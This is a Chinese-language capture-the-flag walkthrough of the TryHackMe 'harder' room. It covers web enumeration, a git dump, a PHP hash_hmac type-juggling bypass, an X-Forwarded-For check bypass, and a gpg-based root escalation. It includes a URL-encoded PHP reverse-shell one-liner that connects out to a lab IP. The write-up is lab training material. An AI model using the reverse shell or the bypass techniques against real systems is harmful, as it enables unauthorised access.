> 文章列表 > TryHackMe-harder(boot2root)

TryHackMe-harder(boot2root)

TryHackMe-harder(boot2root)

harder

结合真实的渗透测试结果。该机器的灵感完全来自现实世界的渗透测试结果。也许你会认为它们非常具有挑战性,但没有任何兔子洞。一旦你有一个 shell,知道使用哪个底层 Linux 发行版以及某些配置的位置是非常重要的。


端口扫描

循例 nmap

TryHackMe-harder(boot2root)

Web枚举

进80

TryHackMe-harder(boot2root)

目录扫描

上gobuster,发现报错,原因是不管请求的页面存不存在,都是200,仅在页面内容显示404

TryHackMe-harder(boot2root)

上ffuf

TryHackMe-harder(boot2root)

扫到phpinfo和vendor

继续对vendor扫,一层层扫进去最后无果

TryHackMe-harder(boot2root)

在查看响应的时候发现响应头有个域名

TryHackMe-harder(boot2root)

将其添加进hosts

TryHackMe-harder(boot2root)

进入pwd子域,是一个登录框

TryHackMe-harder(boot2root)

随手一个admin:admin,进去

TryHackMe-harder(boot2root)

gobuster扫一波,有东西

TryHackMe-harder(boot2root)

发现有.git,直接上githacker

TryHackMe-harder(boot2root)

PHP代码审计

得到三个php文件

TryHackMe-harder(boot2root)

有利用价值的信息在hmac.php

<?php
if (empty($_GET['h']) || empty($_GET['host'])) {header('HTTP/1.0 400 Bad Request');print("missing get parameter");die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {$secret = hash_hmac('sha256', $_GET['n'], $secret);
}$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){header('HTTP/1.0 403 Forbidden');print("extra security check failed");die();
}
?>

这段代码利用$secret将host变量进行sha256加密然后将加密的host 即$hm与h进行是否相等判断,虽然我们不知道$secret的值,但是在代码中,会利用$n变量进行sha256加密然后赋值给$secret

目前就是要想办法利用$n将$secret变得可控

在php hash_hmac官方文档当中,有一条有意思的评论

TryHackMe-harder(boot2root)

其实这里就是利用了hash_hmac的data参数只允许string的问题,如果data是非字符串,则函数直接返回空

利用这一点,我们就可以利用$n来控制$secret

TryHackMe-harder(boot2root)

丢到靶机,可以看到状态码已经是200,说明通过了,但是仍然没有数据

TryHackMe-harder(boot2root)

在index.php当中也导入hmac.php,去那边试试

TryHackMe-harder(boot2root)

得到了一组新凭据和一个子域

TryHackMe-harder(boot2root)

将子域添加进hosts,进去看看

TryHackMe-harder(boot2root)

又是这个登录框,使用刚刚获得的凭据登录

TryHackMe-harder(boot2root)

使用X-Forwarded-For轻松绕过

TryHackMe-harder(boot2root)

Reverse Shell

能执行命令

TryHackMe-harder(boot2root)

这里使用php来getshell

cmd=php+-r+'$sock%3dfsockopen("10.9.62.153",8888)%3bpopen("/bin/sh+<%263+>%263+2>%263",+"r")%3b'

值得注意的是,shellcode必须是/bin/sh而不是bash,因为靶机根本没有/bin/bash

TryHackMe-harder(boot2root)

user flag

TryHackMe-harder(boot2root)

横向移动

find www用户所有文件

TryHackMe-harder(boot2root)

给了evs的凭据,这docker里su没有suid,无法直接su过去,所有需要在外面ssh登录

TryHackMe-harder(boot2root)

TryHackMe-harder(boot2root)

权限提升

但这个脚本的注释给出的信息,说明可能还有其他脚本

TryHackMe-harder(boot2root)

这里是利用gpg加密需要执行的命令然后使用execute-crypted命令执行

TryHackMe-harder(boot2root)

这里只需要跟着脚本中说的做即可,但首先需要找到公钥,之后才能使用公钥加密

TryHackMe-harder(boot2root)

执行命令的文件./cmd

TryHackMe-harder(boot2root)

导入公钥

TryHackMe-harder(boot2root)

利用公钥加密

TryHackMe-harder(boot2root)

开启nc监听,execute-crypted执行cmd.gpg

TryHackMe-harder(boot2root)

getroot